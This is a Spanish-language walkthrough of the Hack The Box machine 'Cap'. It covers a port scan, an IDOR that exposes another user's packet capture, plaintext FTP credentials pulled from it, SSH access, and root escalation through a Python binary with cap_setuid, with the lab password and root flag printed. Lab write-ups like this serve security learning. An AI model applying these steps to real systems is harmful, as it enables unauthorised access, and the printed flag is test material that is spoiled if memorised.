Cap es una máquina Linux fácil que corre un servidor HTTP con funciones administrativas incluyendo la captura de tráfico de red. Controles inadecuados en la lógica del endpoint resultan en un IDOR que da acceso a la captura de otro usuario. El archivo PCAP contiene credenciales en texto plano que permiten el acceso inicial. Una Linux Capability mal configurada sobre Python permite la escalada de privilegios a root.
nmap 10.129.102.177
# PORT STATE SERVICE
# 21/tcp open ftp (vsftpd 3.0.3)
# 22/tcp open ssh
# 80/tcp open http
La aplicación web tiene una funcionalidad de "Security Snapshot" que genera archivos PCAP de tráfico de red. Cada captura tiene un ID numérico en la URL: /data/1, /data/2, etc.
Al cambiar el ID a /data/0, accedemos a la captura de red de otro usuario que contiene tráfico FTP en texto plano con credenciales:
GET /data/0 HTTP/1.1
# Descarga: 0.pcap
Abriendo el PCAP con Wireshark y filtrando por ftp, encontramos las credenciales del usuario nathan en texto plano:
# USER: nathan
# PASS: Buck3tH4TF0RM3!
ftp 10.129.102.177
# User: nathan / Pass: Buck3tH4TF0RM3!
ftp> ls
# -r-------- 1 1001 1001 33 ... user.txt
ftp> get user.txt
Las mismas credenciales funcionan para SSH, lo que nos da una shell interactiva más cómoda:
ssh nathan@10.129.102.177
# Password: Buck3tH4TF0RM3!
Las Linux Capabilities son una alternativa granular a SUID que otorgan privilegios específicos a binarios. La capability cap_setuid permite a un proceso cambiar su UID a 0 (root).
getcap -r / 2>/dev/null
# /usr/bin/python3.8 = cap_setuid,cap_net_bind_service+eip
# /usr/bin/ping = cap_net_raw+ep
Python 3.8 tiene la capability cap_setuid. Podemos usar os.setuid(0) para convertirnos en root y luego spawnear una shell:
python3.8
>>> import os
>>> os.setuid(0)
>>> os.system("bash")
root@cap:~# whoami
root
root@cap:~# cat /root/root.txt
d6f47ffeeb9bad4e52a9803f0357bbaf
getcap -r / 2>/dev/null regularmente.